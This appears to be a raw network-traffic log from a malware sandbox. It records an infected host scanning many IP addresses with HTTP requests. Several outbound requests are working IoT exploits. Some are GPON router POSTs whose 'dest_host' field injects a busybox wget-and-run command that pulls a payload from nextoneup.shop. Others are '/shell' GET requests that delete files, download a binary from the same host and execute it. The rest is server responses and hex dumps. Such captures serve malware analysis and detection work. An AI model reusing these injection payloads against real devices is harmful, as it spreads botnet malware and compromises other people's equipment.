Apr 14, 2024 04:01:43.171236038 CEST	1289	IN	HTTP/1.1 500 Internal Server Error Content-Length: 29057 Content-Type: text/html Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 31 20 54 72 61 6e 73 69 74 69 6f 6e 61 6c 2f 2f 45 4e 22 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 63 2e 6f 72 67 2f 54 52 2f 31 39 39 39 2f 52 45 43 2d 68 74 6d 6c 34 30 31 2d 31 39 39 39 31 32 32 34 2f 6c 6f 6f 73 65 2e 64 74 64 22 3e 3c 62 72 20 2f 3e 3c 62 72 20 2f 3e 3c 68 74 6d 6c 3e 20 3c 68 65 61 64 3e 20 3c 74 69 74 6c 65 3e 20 3c 2f 74 69 74 6c 65 3e 20 3c 2f 68 65 61 64 3e 20 3c 62 6f 64 79 3e 20 3c 64 69 76 20 61 6c 69 67 6e 3d 22 63 65 6e 74 65 72 22 3e 20 3c 69 6d 67 20 73 72 63 3d 64 61 74 61 3a 69 6d 61 67 65 2f 70 6e 67 3b 62 61 73 65 36 34 2c 69 56 42 4f 52 77 30 4b 47 67 6f 41 41 41 41 4e 53 55 68 45 55 67 41 41 41 56 4d 41 41 41 43 57 43 41 59 41 41 41 42 6a 47 57 76 48 41 41 41 41 41 58 4e 53 52 30 49 41 72 73 34 63 36 51 41 41 41 41 52 6e 51 55 31 42 41 41 43 78 6a 77 76 38 59 51 55 41 41 41 41 4a 63 45 68 5a 63 77 41 41 44 73 4d 41 41 41 37 44 41 63 64 76 71 47 51 41 41 46 45 53 53 55 52 42 56 48 68 65 37 5a 30 46 6d 46 78 46 31 6f 59 44 41 5a 61 46 2f 56 6d 46 33 57 56 5a 59 43 46 47 66 44 49 4a 43 66 45 51 4e 36 4a 49 58 43 66 75 4c 73 52 64 69 4c 73 54 49 2b 37 45 33 64 32 56 75 4c 75 37 63 66 35 36 54 2f 63 4e 77 36 52 6e 4d 74 4e 39 65 79 7a 33 34 7a 6e 50 6b 4f 36 2b 4a 61 64 4f 66 58 56 4f 56 64 32 71 4f 4f 4c 41 67 51 4d 48 44 6e 79 47 51 36 59 4f 48 44 68 77 59 41 4d 63 4d 6e 58 67 77 49 45 44 47 2b 43 51 71 51 4d 48 44 68 7a 59 41 49 64 4d 48 54 68 77 34 4d 41 47 4f 47 54 71 77 49 45 44 42 7a 62 41 49 56 4d 48 44 68 77 34 73 41 45 4f 6d 54 70 77 34 4d 43 42 44 58 44 49 31 49 45 44 42 77 35 73 67 45 4f 6d 44 68 77 34 63 47 41 44 48 44 4a 31 34 4d 43 42 41 78 76 67 6b 4b 6b 44 42 77 34 63 32 41 43 48 54 42 30 34 63 4f 44 41 42 6a 68 6b 36 73 43 42 41 77 63 32 77 43 46 54 42 77 34 63 4f 4c 41 42 44 70 6b 36 63 4f 44 41 67 51 31 77 79 4e 53 42 41 77 63 4f 62 49 42 44 70 67 34 63 4f 48 42 67 41 78 77 79 64 65 44 41 67 51 4d 62 34 4a 43 70 41 77 63 4f 48 4e 67 41 68 30 77 64 4f 48 44 67 77 41 59 34 5a 4f 72 41 67 51 4d 48 4e 73 41 68 55 77 63 4f 48 44 69 77 41 51 36 5a 4f 6e 44 67 77 49 45 4e 63 4d 6a 55 67 51 4d 48 44 6d 78 41 72 43 58 54 36 39 65 76 79 2f 48 6a 78 2b 58 41 67 51 4f 79 64 65 73 32 57 62 6c 79 6c 5a 47 56 6f 63 71 4b 46 53 74 6b 31 61 72 56 73 6e 2f 2f 66 76 6e 6c 6c 31 2f 6b 77 6f 55 4c 63 75 50 47 44 58 64 71 44 68 77 34 63 42 41 32 59 67 57 5a 50 6e 33 36 56 50 62 73 33 53 73 4c 46 69 79 51 55 61 4e 47 53 39 65 75 33 65 58 37 37 31 74 4c 7a 5a 71 31 70 47 72 56 61 6c 4b 36 64 46 6b 70 58 4c 68 6f 6d 46 4b 6f 55 42 45 70 55 71 53 59 42 41 56 56 6c 65 72 56 61 30 72 44 68 6f 32 6c 56 61 73 32 30 71 64 50 58 30 31 7a 35 73 78 5a 68 6e 52 58 79 59 6b 54 4a 39 79 35 4f 6e 44 77 47 33 37 39 39 56 63 35 63 2b 32 69 6e 4c 78 79 54 6b 35 64 50 61 39 79 2f 63 34 74 39 37 63 4f 50 43 47 6b 7a 76 68 37 35 76 70 46 39 37 63 78 44 7a 47 57 54 43 39 64 75 69 52 7a 35 38 36 54 62 74 32 36 53 38 31 61 74 61 56 59 73 61 38 6c 62 39 37 38 6b 69 56 4c 4e 76 6e 69 69 77 79 53 4c 6c 31 36 53 5a 4d 6d 72 55 72 61 74 46 38 38 2b 2f 2f 77 79 75 65 66 70 39 4d 30 53 49 73 30 63 2b 62 4d 4a 51 55 4c 46 70 49 53 4a 55 6f 5a 77 71 30 69 54 5a 6f 30 6c 64 47 6a 78 38 6a 32 37 64 76 6c 31 71 32 62 37 6c 4a 35 68 2b 30 6e 39 6b 76 56 30 65 30 6c 58 34 2f 71 6b 68 2f 70 47 63 6e 53 6f 35 6f 55 37 46 6c 54 71 6f 33 71 49 48 55 6d 2f 53 41 4e 70 76 53 52 43 57 76 6e 79 65 4b 39 47 32 58 2f 75 57 50 75 55 6a 6f 41 70 36 39 64 6b 4a 6c 62 6c 6b 6d 33 2b 57 4f 6b 36 6f Data Ascii: <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3c.org/TR/1999/REC-html401-19991224/loose.dtd"><br /><br /><html> <head> <title> </title> </head> <body> <div align="center"> <img src=data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAVMAAACWCAYAAABjGWvHAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsMAAA7DAcdvqGQAAFESSURBVHhe7Z0FmFxF1oYDAZaF/VmF3WVZYCFGfDIJCfEQN6JIXCfuLsRdiLsTI+7E3d2VuLu7cf56T/cNw6RnMtN9eyz34znPkO6+JadOfXVOVd2qOOLAgQMHDnyGQ6YOHDhwYAMcMnXgwIEDG+CQqQMHDhzYAIdMHThw4MAGOGTqwIEDBzbAIVMHDhw4sAEOmTpw4MCBDXDI1IEDBw5sgEOmDhw4cGADHDJ14MCBAxvgkKkDBw4c2ACHTB04cODABjhk6sCBAwc2wCFTBw4cOLABDpk6cODAgQ1wyNSBAwcObIBDpg4cOHBgAxwydeDAgQMb4JCpAwcOHNgAh0wdOHDgwAY4ZOrAgQMHNsAhUwcOHDiwAQ6ZOnDgwIENcMjUgQMHDmxArCXT69evy/Hjx+XAgQOydes2WblylZGVocqKFStk1arVsn//fvnll1/kwoULcuPGDXdqDhw4cBA2YgWZPn36VPbs3SsLFiyQUaNGS9eu3eX771tLzZq1pGrValK6dFkpXLhomFKoUBEpUqSYBAVVlerVa0rDho2lVas20qdPX01z5sxZhnRXyYkTJ9y5OnDwG3799Vc5c+2inLxyTk5dPa9y/c4t97cOPCGkzvh75vpF97cxDzGWTC9duiRz586Tbt26S81ataVYsa8lb978kiVLNvniiwySLl16SZMmrUratF88+//wyuefp9M0SIs0c+bMJQULFpISJUoZwq0iTZo0ldGjx8j27dvl1q2b7lJ5h+0n9kvV0e0lX4/qkh/pGcnSo5oU7FlTqo3qIHUm/SANpvSRCWvnyeK9G2X/uWPuUjoAp69dkJlblkm3+WOk6o
Apr 14, 2024 04:01:43.171274900 CEST	1289	IN	Data Raw: 53 75 55 6d 68 77 45 36 50 44 47 70 4b 6e 57 31 56 4a 30 62 61 6b 4a 47 33 37 6e 53 51 7a 77 74 2f 41 39 6d 55 6b 62 33 64 30 57 30 4d 71 6a 6d 67 6a 72 57 63 4e 6b 57 47 72 5a 38 6f 57 30 39 36 47 52 31 34 61 51 4a 69 4c 39 32 32 55 49 53 75 6e Data Ascii: SuUmhwE6PDGpKnW1VJ0bakJG37nSQzwt/A9mUkb3d0W0MqjmgjrWcNkWGrZ8oW096GR14aQJiL922UISunS71JvaT04GaqE08649+edLbp2D65fjd6D04xhkyfPHksN2/eNOH4SmnWrLkhtzySOXNWJbvUqT+XwMA0+tciQggUMrQIMX36jOES6xmeD07CpG3lExAQqH8zZsws2bPnlNy58yrBDhgwULZt2y6XL1+WBw8eyK/mv
Apr 14, 2024 04:01:43.171310902 CEST	1289	IN	Data Raw: 4c 44 67 51 61 6c 6c 6a 6c 59 32 6f 67 63 65 4a 6b 5a 69 41 6f 4c 33 66 75 33 48 58 58 7a 44 4f 69 4a 35 6d 47 4a 71 35 4f 6f 55 61 74 34 5a 72 78 30 6b 77 34 39 6d 66 7a 33 61 64 4e 76 35 4c 79 77 37 36 58 55 63 75 6d 79 65 6d 72 46 39 79 31 69 Data Ascii: LDgQalljlY2ogceJkZiAoL3fu3HXXzDOiJ5mGJq5OoUat4Zrx0kw49mfz3adNv5Lyw76XUcumyemrF9y1i/7YfuKAdJs+VNKbNvh7zYy/DRqVIVB3R35OD3ZJMH1CEhVSyB8NyX7QKJ+UGNhUhi/8SQ5Gw3nrQ+ePy5CFEyVdjyB5r05WebWy8SJN2bEJrVdk6QwbNJHCG8aLfa9edsnWs7p0nTFMth3f7y5p5CHakem6deulXr
Apr 14, 2024 04:01:43.171348095 CEST	237	IN	Data Raw: 39 39 7a 7a 35 79 38 6f 71 56 4b 6c 69 5a 56 45 69 6a 68 6b 36 6c 6e 59 62 76 53 47 36 5a 78 66 39 71 30 6a 2b 38 34 64 64 57 76 41 50 37 68 36 2b 36 61 55 48 4e 6c 47 2f 73 39 34 6f 52 42 35 62 4a 74 43 73 55 4c 59 39 78 76 6b 6c 4d 62 54 2b 73 Data Ascii: 99zz5y8oqVKliZVEijhk6lnYbvSG6Zxf9q0j+84ddWvAP7h6+6aUHNlG/s94oRB5bJtCsULY9xvklMbT+sn1u/asXNeb0kv+USebph3d50YjKqoz49Wze6PKqHb6erBdiHQyXbd+veTMmVs330M4nojITnGRGq+Bfq5eMPl6Er5D+C17RH0tm0OmoQuESshVeHATuXz7ulsL9oJ0iwxraXSaSheZPJUjN
Apr 14, 2024 04:01:43.171386957 CEST	1289	IN	Data Raw: 6f 68 46 44 6d 39 58 2f 30 4a 4b 6a 6d 70 6a 36 75 33 39 53 57 64 58 6a 4d 36 61 54 2b 34 6a 62 2b 44 42 6d 54 52 6a 64 35 53 55 53 74 34 30 67 33 72 78 59 63 33 6c 6c 45 31 37 6f 69 4f 56 54 50 66 73 32 53 74 35 38 75 53 58 5a 4d 6c 53 2b 4a 56 Data Ascii: ohFDm9X/0JKjmpj6u39SWdXjM6aT+4jb+DBmTRjd5SUSt40g3rxYc3llE17oiOVTPfs2St58uSXZMlS+JVIIUMIkrlY3kLiRChOjqpapZruYfUkrtOlykjx4t9I3rwF9DleFEiY8LNni2MRKXNUkKl2LN4MKZ80/GI6jes1P+YRPafrD1FPsUpqaTKtvzx8/MitCXvA+/T1J3RXwkY85R/bhHbkXfb647tr/SOKhw8fSa+F4+RP
Apr 14, 2024 04:01:43.171423912 CEST	1289	IN	Data Raw: 30 75 72 78 71 43 39 70 53 58 48 61 49 64 6a 7a 32 4c 62 50 77 33 35 66 36 6a 79 65 73 74 49 2b 39 56 79 79 54 2f 72 4a 37 35 64 38 4a 6e 66 50 64 57 6b 50 48 41 6a 63 66 6f 65 73 5a 36 6a 39 31 7a 2b 72 36 4b 6c 73 38 51 34 37 2f 71 5a 74 66 58 Data Ascii: 0urxqC9pSXHaIdjz2LbPw35f6jyestI+9VyyT/rJ75d8JnfPdWkPHAjcfoesZ6j91z+r6Kls8Q47/qZtfXKJ88Df28z8fGky9n2laPFPTzlIiSpNY/MFw6e7OyIVSjXz08hX21fiZXyvVWlbTSZfZwuXXPO4fMr2RKmEx4nzZtOn1V1BMxRlQgUtJiUWnMmDFy/nz0OZ3o4sWL6h0PGTJMKlcO0sHju+9Kyu3bYe8BtJNM/bE6f
Apr 14, 2024 04:01:43.171462059 CEST	1289	IN	Data Raw: 7a 4d 51 4d 6c 54 75 6b 45 6b 72 64 33 54 5a 6d 2f 66 62 58 63 76 57 2f 2f 6e 50 7a 44 52 77 2f 6c 67 43 46 56 72 69 74 4a 32 4c 4b 49 65 6c 77 52 62 58 2f 64 45 56 48 75 4d 35 31 7a 48 72 74 32 72 6a 77 77 61 62 34 49 65 30 37 39 49 76 6d 37 56 Data Ascii: zMQMlTukEkrd3TZm/fbXcvW//nPzDRw/lgCFVritJ2LKIelwRbX/dEVHuM51zHrt2rjwwab4Ie079Ivm7VNHFP/tOzOIgljQSp8SHkqlzeZm2ZYlc8+EFgtCAE3XyynkZuGq6ZDT5aOgfwakdy4t/p242aWeI1K7TzPxCpqx4sxjDxnk7vFKmCVi5nzVrVpTf8+IPxDQyBfcfPtDJel0csCHkQkjnj9XTyqLd69y5hI1H2Nm47v
Apr 14, 2024 04:01:43.171498060 CEST	237	IN	Data Raw: 66 58 45 5a 75 32 61 32 61 64 38 48 37 6c 2f 61 44 31 76 4a 46 4f 4d 66 4d 2b 5a 48 79 5a 77 35 69 38 38 4c 54 33 69 32 42 51 74 2b 4a 56 75 33 62 6e 57 6e 48 6e 73 52 30 38 6b 55 54 4e 2b 30 52 4e 35 67 54 73 70 48 37 31 54 6e 54 55 32 59 56 6d Data Ascii: fXEZu2a2ad8H7l/aD1vJFOMfM+ZHyZw5i88LT3i2BQt+JVu3bnWnHnsR08kUTN+0RN5gTspH71TnTU2YVmVMR7kfiodIiNZr7mh5rbIJ6Xx8I0sJqmJKydI1SM57+Rqhv8C2r/WHd0qi74tKnFLxJU7p+JK7S0Ul0oiC7WYT187Ts2TjVPZNZ665x5QSv8VXcvCcf+9V8ganrl2Urwc0kjhlEuqi2Oetv
Apr 14, 2024 04:01:43.171535969 CEST	1289	IN	Data Raw: 35 4f 46 32 31 64 48 61 4d 75 64 4e 37 43 56 54 4b 39 64 75 79 5a 74 32 37 59 7a 58 6d 6c 61 6e 2b 5a 4c 49 57 49 57 72 39 67 52 45 4e 75 39 55 68 41 62 79 48 54 2f 75 57 4f 53 38 34 65 61 47 6e 5a 44 55 4a 37 4b 47 52 35 78 64 64 51 41 53 64 44 Data Ascii: 5OF21dHaMudN7CVTK9duyZt27YzXmlan+ZLIWIWr9gRENu9UhAbyHT/uWOS84eaGnZDUJ7KGR5xddQASdDq61CvlmDrVJ4+JsQ3xOBLXgjk/3bdrLLWkFZ0xZL9myV1228lV+cKsu3oXvenEcOt+3ek5LCWEtcMQL6G+OiMbVDjNi5wpx79sP3UQcnYsYwS6ap9m+WJGZj8DVvJdPfu3VKpUmUN8X2ZL+V5tkPNmTPXnXLsRmwg
Apr 14, 2024 04:01:43.171574116 CEST	1289	IN	Data Raw: 4a 4f 5a 55 36 47 39 34 34 59 4e 46 77 31 75 6e 71 76 56 68 59 5a 75 33 4b 32 53 54 48 32 68 36 75 33 48 39 79 52 76 31 56 78 48 64 37 69 39 51 41 45 6d 52 6f 37 36 7a 78 39 53 4b 77 37 74 63 30 75 32 45 61 6d 57 37 64 75 31 31 63 2f 66 5a 6b 76 Data Ascii: JOZU6G944YNFw1unqvVhYZu3K2STH2h6u3H9yRv1VxHd7i9QAEmRo76zx9SKw7tc0u2EamW7du11c/fZkvtfaX1q1bX65evepO2TscPHhQj+wjTa43iWzBu2b+t1KlKpF6bUlUkim0NHfXGonXMJ+Wx1cyrTmu63NkOmPrMnmbhRSTvqdnXyTol2dTtCgms7cufynm/hZsXyV/qsbZpd7pzDVfmsZ4t9llyPKoO7cgusM2Mt22b

Session ID	Source IP	Source Port	Destination IP	Destination Port
1728	192.168.2.23	45222	5.76.93.210	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:42.834307909 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1729	192.168.2.23	51350	5.61.46.99	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:42.834368944 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1730	192.168.2.23	60554	94.36.142.1	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:42.834417105 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1731	192.168.2.23	42202	117.28.176.75	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:42.834497929 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1732	192.168.2.23	55878	148.0.37.121	80

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:42.851946115 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 04:01:43.121826887 CEST	337	IN	HTTP/1.1 200 OK Content-Type:text/html; charset=UTF-8 Pragma:no-cache Cache-control:no-cache, no-store, max-age=0 Transfer-Encoding:chunked X-Frame-Options:SAMEORIGIN Connection:Keep-Alive X-XSS-Protection:1; mode=block Content-Security-Policy:default-src 'self' 'unsafe-inline' 'unsafe-eval' Content-Language:en
Apr 14, 2024 04:01:43.122328997 CEST	1289	IN	Data Raw: 64 33 36 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 58 48 54 4d 4c 20 31 2e 30 20 54 72 61 6e 73 69 74 69 6f 6e 61 6c 2f 2f 45 4e 22 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 Data Ascii: d36<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"><html xmlns="http://www.w3.org/1999/xhtml"><head><meta http-equiv="Content-Type" content="text/html; charset=ut
Apr 14, 2024 04:01:43.122366905 CEST	1289	IN	Data Raw: 20 27 3a 27 29 29 0d 0a 20 20 20 20 7b 0d 0a 20 20 20 20 20 20 20 20 72 65 74 75 72 6e 20 66 61 6c 73 65 3b 0d 0a 20 20 20 20 7d 20 20 20 20 0d 0a 20 20 20 20 0d 0a 20 20 20 20 4c 69 73 74 20 3d 20 41 64 64 72 65 73 73 2e 73 70 6c 69 74 28 22 3a Data Ascii: ':')) { return false; } List = Address.split(":"); if (List.length > 8) { return false; } for (var i = 0; i < List.length; i++) { if (false == IsIPv6AddressUshortV
Apr 14, 2024 04:01:43.122812033 CEST	852	IN	Data Raw: 0d 0a 76 61 72 20 4c 69 73 74 20 3d 20 48 6f 73 74 49 6e 66 6f 2e 73 70 6c 69 74 28 22 3a 22 29 3b 0d 0a 69 66 28 4c 69 73 74 2e 6c 65 6e 67 74 68 20 3e 3d 20 33 29 0d 0a 7b 0d 0a 2f 2a 20 69 6e 63 6c 75 64 65 20 74 77 6f 20 6f 72 20 6d 6f 72 65 Data Ascii: var List = HostInfo.split(":");if(List.length >= 3){/* include two or more than two ":" /if(true == IsIPv6AddressValid(HostInfo)){/ host string not include port */window.location="https://[" + HostInfo + "]:" + SSLPort;}e

Session ID	Source IP	Source Port	Destination IP	Destination Port
1733	192.168.2.23	49590	13.32.238.232	80

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:42.854181051 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 04:01:43.250567913 CEST	316	IN	HTTP/1.1 403 Forbidden Server: CloudFront Date: Sun, 14 Apr 2024 02:01:43 GMT Content-Type: text/html Content-Length: 151 Connection: keep-alive Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 43 6c 6f 75 64 46 72 6f 6e 74 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>403 Forbidden</title></head><body><center><h1>403 Forbidden</h1></center><hr><center>CloudFront</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1734	192.168.2.23	55870	122.10.98.148	80

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:42.907407999 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 04:01:43.273991108 CEST	306	IN	HTTP/1.1 404 Not Found Server: nginx Date: Sun, 14 Apr 2024 02:01:43 GMT Content-Type: text/html Content-Length: 146 Connection: keep-alive Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1735	192.168.2.23	33906	119.28.99.195	80

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:42.960808992 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 04:01:43.300653934 CEST	322	IN	HTTP/1.1 404 Not Found Server: nginx Date: Sun, 14 Apr 2024 02:01:43 GMT Content-Type: text/html Content-Length: 162 Connection: keep-alive Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body bgcolor="white"><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1736	192.168.2.23	45856	176.38.21.27	80

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:42.971895933 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 04:01:43.322578907 CEST	363	IN	HTTP/1.1 403 Forbidden Server: Web server Date: Sun, 14 Apr 2024 02:01:41 GMT Content-Type: text/html Content-Length: 151 Connection: keep-alive X-Detail: 0x1210, insufficient security level Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 57 65 62 20 73 65 72 76 65 72 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>403 Forbidden</title></head><body><center><h1>403 Forbidden</h1></center><hr><center>Web server</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1737	192.168.2.23	57596	104.27.86.91	80

Timestamp	Bytes transferred	Direction	Data
